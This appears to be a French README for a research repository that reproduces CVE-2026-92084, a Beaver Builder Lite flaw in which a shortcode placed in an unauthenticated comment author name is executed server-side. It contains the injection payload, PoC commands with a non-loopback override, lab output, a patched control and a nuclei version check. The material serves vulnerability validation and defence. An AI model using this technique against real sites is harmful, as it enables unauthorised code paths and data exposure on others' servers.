
Laboratoire de validation Docker et PoC Python pour CVE-2026-92084, une faille d'exécution de shortcode non authentifiée dans Beaver Builder Lite <= 2.11.0.5, avec un contrôle corrigé et un écran nuclei.
Matériel de recherche en sécurité pour reproduire et valider CVE-2026-92084 :
Beaver Builder (Lite) <= 2.11.0.5 exécute des shortcodes WordPress enregistrés
arbitraires implantés dans la sortie de widget rendue par le module Sidebar, via
la passe do_shortcode() à l'échelle de la mise en page du builder.
'renders_shortcodes' => false ;
le mécanisme d'encodage des crochets lui-même a été livré plus tôt et reste inchangé)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94À utiliser uniquement sur des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester. Le PoC publie un commentaire dont le nom d'auteur contient un shortcode marqueur enregistré pour le laboratoire. Aucun shortcode destructeur n'est utilisé et rien n'est écrit sur le disque.
Statut : prouvé dans le laboratoire fourni.
Beaver Builder Lite 2.11.0.5 (WordPress 7.1.2, page builder avec un module Sidebar
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
Cela démontre l'exécution côté serveur d'un shortcode enregistré arbitraire, avec la sortie intégrée dans la page, divulguée à chaque visiteur. Cela ne démontre pas une RCE ; l'impact dépend des shortcodes enregistrés sur la cible (exposition de post/meta, formulaires, shortcodes fournis par des plugins avec effets de bord).
Le sink. FLBuilder::render_content() fait passer la mise en page assemblée du builder par une large passe de shortcodes avant de l'afficher :
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
Le point d'injection. Le module Sidebar restitue la sortie des widgets d'une barre latérale WordPress telle quelle dans cette mise en page :
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
Le contenu du widget est une donnée utilisateur non fiable — le widget principal Recent Comments répercute get_comment_author_link(), c'est-à-dire le nom fourni par un commentateur (non authentifié). FLBuilder::double_escape_shortcodes() ne fait que ré-encadrer la forme échappée [[x]], donc un simple [cve92084] passe et la passe do_shortcode() l'exécute.
Le correctif. 2.11.0.5 embarque déjà le mécanisme de neutralisation — FLBuilderModule::$renders_shortcodes = true (class-fl-builder-module.php:143) et FLBuilder::escape_foreign_module_shortcodes() accroché aux deux filtres de rendu de module (class-fl-builder.php:109-110, appliqué à la ligne 3240), qui encode en entités les crochets de tout shortcode enregistré dans la sortie du module. Le module Sidebar n'a simplement jamais désactivé cette option. Le seul changement fonctionnel de 2.11.0.6 est la désactivation :
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php avec la charge utile du shortcode comme
nom d'auteur du commentaire.do_shortcode() exécute la
charge utile. Sa sortie remplace le nom de l'auteur, visible par tous les visiteurs.Prérequis : Docker avec Compose v2, Python 3.10+ sur l'hôte.
./lab verify
Construit le lab 2.11.0.5, exige que le marqueur se déclenche, puis construit le
lab 2.11.0.6 et exige son absence. Supprimez tout avec
./lab reset.
Contrôle vulnérable :
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
Contrôle corrigé :
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
Un marqueur présent dans la page uniquement à l'intérieur du commentaire affiché (texte brut) n'est pas accepté comme preuve ; le marqueur doit apparaître comme la sortie exécutée du shortcode.
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
Exécutez le PoC manuellement (loopback par défaut ; les cibles externes autorisées nécessitent la surcharge explicite) :
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
Le template nuclei (nuclei/cve-2026-92084.yaml) n'est qu'un filtre de version
(readme.txt stable tag <= 2.11.0.5). La chaîne comportementale nécessite la soumission
d'un commentaire ainsi qu'une transition d'approbation, ce qui n'est pas pratique à exprimer
dans nuclei ; le PoC Python exécute le flux complet.
| Version | Évaluation |
|---|---|
| Beaver Builder Lite 2.11.0.5 | Exécution du shortcode reproduite de bout en bout |
| Beaver Builder Lite 2.11.0.6 | Contrôle négatif corrigé reproduit |
| Beaver Builder Lite <= 2.11.0.4 | Affectée selon l'avis ; non testée individuellement |
| Beaver Builder (Pro/Agency) | Non testée - le périmètre de l'avis concerne le plugin Lite |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
Non commité : assets/ (zips de plugins), .lab-state, __pycache__/.